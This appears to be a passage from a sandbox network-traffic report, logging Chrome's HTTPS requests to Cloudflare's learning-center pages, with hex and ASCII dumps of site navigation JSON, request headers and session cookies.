2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 73 22 3a 5b 5d 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 32 79 75 6f 54 31 7a 48 55 77 5a 79 79 64 63 68 36 51 62 54 53 42 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 42 79 20 69 6e 64 75 73 74 72 79 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 36 47 31 66 74 7a 53 35 41 75 6e 62 44 4e 6c 38 6d 66 38 6d 4e 75 22 2c 22 6c 6f 63 61 Data Ascii: s":[]},{"contentTypeId":"navNavigationItem","contentfulId":"2yuoT1zHUwZyydch6QbTSB","locale":"en-US","name":"By industry","description":null,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"6G1ftzS5AunbDNl8mf8mNu","loca
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 41 4d 6d 75 53 55 39 75 38 42 71 42 65 36 67 65 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 48 65 61 6c 74 68 63 61 72 65 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 6d 65 64 69 63 61 6c 20 69 6e 73 74 69 74 75 74 69 6f 6e 73 20 6f 72 20 73 65 72 76 69 63 65 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 68 65 61 6c 74 68 63 61 72 65 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 Data Ascii: AMmuSU9u8BqBe6ge","locale":"en-US","title":"Healthcare","description":"For medical institutions or services","url":"https://www.cloudflare.com/healthcare/","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":null},{"contentTypeId"
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 5d 2c 22 6e 61 76 49 63 6f 6e 22 3a 6e 75 6c 6c 2c 22 73 68 6f 77 49 63 6f 6e 4f 6e 6c 79 22 3a 66 61 6c 73 65 2c 22 68 69 64 65 4f 6e 43 68 69 6e 61 53 69 74 65 22 3a 66 61 6c 73 65 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 5d 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 31 42 62 35 36 52 70 74 4e 6e 46 6a 42 59 65 41 47 41 73 73 4e 51 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 50 75 62 6c 69 63 20 69 6e 74 65 72 65 73 74 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c Data Ascii: xternalUrl":null}],"navIcon":null,"showIconOnly":false,"hideOnChinaSite":false,"navigationItems":[]},{"contentTypeId":"navNavigationItem","contentfulId":"1Bb56RptNnFjBYeAGAssNQ","locale":"en-US","name":"Public interest","description":null,"mainLink":null,
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 66 61 69 72 2d 73 68 6f 74 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 74 72 75 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 33 4a 71 5a 58 61 6c 46 31 76 57 31 4e 67 38 36 37 31 35 50 46 45 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 45 6c 65 63 74 69 6f 6e 20 63 61 6d 70 61 69 67 6e 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 Data Ascii: tps://www.cloudflare.com/fair-shot/","badges":null,"specialLinkType":null,"openInNewWindow":true,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"3JqZXalF1vW1Ng86715PFE","locale":"en-US","title":"Election campaigns","description":"F
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 75 6a 59 6c 77 51 56 76 67 53 4c 73 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 46 6f 72 20 79 6f 75 72 20 65 6d 70 6c 6f 79 65 65 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 39 59 38 50 6e 58 34 39 6b 71 4a 73 58 6a 7a 53 73 53 37 33 7a 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 53 41 53 45 20 26 20 53 53 45 20 70 6c 61 74 66 6f 72 6d 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 5a 65 72 6f 20 54 72 Data Ascii: ujYlwQVvgSLs","locale":"en-US","name":"For your employees","description":null,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"9Y8PnX49kqJsXjzSsS73z","locale":"en-US","title":"SASE & SSE platform","description":"Zero Tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.8	50872	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:15 UTC	4882	OUT	GET /page-data/learning/access-management/what-is-sase/page-data.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A176079 [TRUNCATED]
2024-10-18 13:48:16 UTC	975	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:16 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"fc13bac1409877e68352a717c0f05402" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vP4qRzwKF%2BEbwO8p4%2BxieWNuUDN02DF%2F3Or%2FrbmA%2BB6zzj7U8tD0fRPkMqb1FShE%2BOsMJue0%2BYy0tD4BojyxZK%2FRakC10vKdC4n7zgfZyrXq09UIQJp3Z7Jt4%2BDiZH6mkvt1BQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc286cf2e7fb-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 37 66 66 32 0d 0a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 43 68 75 6e 6b 4e 61 6d 65 22 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 6c 65 61 72 6e 69 6e 67 2d 63 65 6e 74 65 72 2d 74 65 6d 70 6c 61 74 65 73 2d 6c 65 61 72 6e 69 6e 67 2d 63 65 6e 74 65 72 2d 61 72 74 69 63 6c 65 2d 74 65 6d 70 6c 61 74 65 2d 74 73 78 22 2c 22 70 61 74 68 22 3a 22 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 77 68 61 74 2d 69 73 2d 73 61 73 65 2f 22 2c 22 72 65 73 75 6c 74 22 3a 7b 22 64 61 74 61 22 3a 7b 22 68 65 61 64 65 72 44 61 74 61 22 3a 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 47 72 6f 75 70 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a Data Ascii: 7ff2{"componentChunkName":"component---src-components-learning-center-templates-learning-center-article-template-tsx","path":"/learning/access-management/what-is-sase/","result":{"data":{"headerData":{"contentTypeId":"navNavigationGroup","contentfulId":
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 65 63 75 72 69 74 79 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 69 66 69 65 64 20 73 65 63 75 72 69 74 79 20 66 6f 72 20 74 68 65 20 49 6e 74 65 72 6e 65 74 2c 20 65 6d 70 6c 6f 79 65 65 73 20 26 20 6e 65 74 77 6f 72 6b 73 22 2c 22 75 72 6c 22 3a 22 63 79 62 65 72 73 65 63 75 72 69 74 79 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 66 61 6c 73 65 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 34 48 75 68 38 35 6f 39 69 44 47 59 70 69 30 31 49 57 Data Ascii: ecurity","description":"Unified security for the Internet, employees & networks","url":"cybersecurity","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":false},{"contentTypeId":"elementNavLink","contentfulId":"4Huh85o9iDGYpi01IW
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 33 49 48 63 71 43 43 30 65 78 5a 77 57 51 7a 70 6b 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 50 72 6f 74 65 63 74 20 26 20 61 63 63 65 6c 65 72 61 74 65 20 61 70 70 6c 69 63 61 74 69 6f 6e 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 43 6f 6d 62 69 6e 65 20 73 65 63 75 72 69 74 79 20 77 69 74 68 20 70 65 72 66 6f 72 6d 61 6e 63 65 20 66 6f 72 20 70 72 6f 74 65 63 74 69 6e 67 20 77 69 74 68 6f 75 74 20 63 6f 6d 70 72 6f 6d 69 73 65 22 2c 22 75 72 6c 22 3a 22 2f 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 65 72 76 69 63 65 73 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c Data Ascii: 3IHcqCC0exZwWQzpk","locale":"en-US","title":"Protect & accelerate applications","description":"Combine security with performance for protecting without compromise","url":"/application-services","badges":null,"specialLinkType":null,"openInNewWindow":false,
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 51 62 54 53 42 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 42 79 20 69 6e 64 75 73 74 72 79 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 36 47 31 66 74 7a 53 35 41 75 6e 62 44 4e 6c 38 6d 66 38 6d 4e 75 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 45 63 6f 6d 6d 65 72 63 65 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 6f 6e 6c 69 6e 65 20 73 74 6f 72 65 73 20 6f 72 20 73 65 72 76 69 63 65 73 22 Data Ascii: QbTSB","locale":"en-US","name":"By industry","description":null,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"6G1ftzS5AunbDNl8mf8mNu","locale":"en-US","title":"Ecommerce","description":"For online stores or services"
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 64 69 63 61 6c 20 69 6e 73 74 69 74 75 74 69 6f 6e 73 20 6f 72 20 73 65 72 76 69 63 65 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 68 65 61 6c 74 68 63 61 72 65 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 36 73 6e 66 76 77 4c 37 35 31 35 42 49 76 7a 53 67 54 67 43 52 6b 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 Data Ascii: dical institutions or services","url":"https://www.cloudflare.com/healthcare/","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"6snfvwL7515BIvzSgTgCRk","locale":"en-US","t
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 65 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 5d 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 31 42 62 35 36 52 70 74 4e 6e 46 6a 42 59 65 41 47 41 73 73 4e 51 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 50 75 62 6c 69 63 20 69 6e 74 65 72 65 73 74 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 35 49 69 5a 73 4d 4a 34 Data Ascii: e,"navigationItems":[]},{"contentTypeId":"navNavigationItem","contentfulId":"1Bb56RptNnFjBYeAGAssNQ","locale":"en-US","name":"Public interest","description":null,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"5IiZsMJ4
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 74 72 75 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 33 4a 71 5a 58 61 6c 46 31 76 57 31 4e 67 38 36 37 31 35 50 46 45 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 45 6c 65 63 74 69 6f 6e 20 63 61 6d 70 61 69 67 6e 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 70 6f 6c 69 74 69 63 61 6c 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 63 61 6d 70 61 69 67 6e 73 2f 22 2c 22 62 61 Data Ascii: enInNewWindow":true,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"3JqZXalF1vW1Ng86715PFE","locale":"en-US","title":"Election campaigns","description":"For political organizations","url":"https://www.cloudflare.com/campaigns/","ba
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 39 59 38 50 6e 58 34 39 6b 71 4a 73 58 6a 7a 53 73 53 37 33 7a 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 53 41 53 45 20 26 20 53 53 45 20 70 6c 61 74 66 6f 72 6d 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 5a 65 72 6f 20 54 72 75 73 74 20 73 65 63 75 72 69 74 79 20 28 5a 54 4e 41 2c 20 53 57 47 2c 20 43 41 53 42 29 20 26 20 6e 65 74 77 6f 72 6b 20 63 6f 6e 6e 65 63 74 69 76 69 74 79 20 28 57 41 4e 61 61 53 2c 20 46 57 61 61 53 29 20 6f 6e 20 6f 6e 65 20 Data Ascii: ,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"9Y8PnX49kqJsXjzSsS73z","locale":"en-US","title":"SASE & SSE platform","description":"Zero Trust security (ZTNA, SWG, CASB) & network connectivity (WANaaS, FWaaS) on one
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 5d 2c 22 6e 61 76 49 63 6f 6e 22 3a 6e 75 6c 6c 2c 22 73 68 6f 77 49 63 6f 6e 4f 6e 6c 79 22 3a 66 61 6c 73 65 2c 22 68 69 64 65 4f 6e 43 68 69 6e 61 53 69 74 65 22 3a 66 61 6c 73 65 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 5d 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 36 41 4f 56 39 51 4f 39 73 4a 47 41 73 34 51 33 67 4c 36 6d 67 5a 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 46 6f 72 20 Data Ascii: ecialLinkType":null,"openInNewWindow":false,"isExternalUrl":null}],"navIcon":null,"showIconOnly":false,"hideOnChinaSite":false,"navigationItems":[]},{"contentTypeId":"navNavigationItem","contentfulId":"6AOV9QO9sJGAs4Q3gL6mgZ","locale":"en-US","name":"For
2024-10-18 13:48:16 UTC	1369	IN	Data Raw: 74 20 31 2e 31 2e 31 2e 31 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 34 70 61 78 67 6f 34 53 63 6f 34 59 7a 6b 64 5a 69 41 4c 61 53 4b 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 47 65 74 20 31 2e 31 2e 31 2e 31 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 6e 65 2e 6f 6e 65 2e 6f 6e 65 2e 6f 6e 65 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 Data Ascii: t 1.1.1.1","description":null,"mainLink":{"contentTypeId":"elementNavLink","contentfulId":"4paxgo4Sco4YzkdZiALaSK","locale":"en-US","title":"Get 1.1.1.1","description":null,"url":"https://one.one.one.one/","badges":null,"specialLinkType":null,"openInNewWi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.8	50871	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:15 UTC	4381	OUT	POST /static/z/t HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive Content-Length: 2111 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://www.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A176079 [TRUNCATED]
2024-10-18 13:48:15 UTC	2111	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 63 6c 69 63 6b 5f 6e 61 76 5f 74 6f 70 22 2c 22 64 61 74 61 22 3a 7b 22 67 6f 6f 67 6c 65 5f 63 6f 6e 73 65 6e 74 5f 64 65 66 61 75 6c 74 22 3a 7b 22 61 64 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 61 64 5f 75 73 65 72 5f 64 61 74 61 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 61 64 5f 70 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 61 6e 61 6c 79 74 69 63 73 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 73 65 63 75 72 69 74 79 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 5f 73 74 6f 72 61 67 65 22 3a 22 67 72 61 6e 74 65 64 22 2c 22 70 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 5f 73 74 6f 72 61 67 65 22 Data Ascii: {"name":"click_nav_top","data":{"google_consent_default":{"ad_storage":"granted","ad_user_data":"granted","ad_personalization":"granted","analytics_storage":"granted","security_storage":"granted","functionality_storage":"granted","personalization_storage"
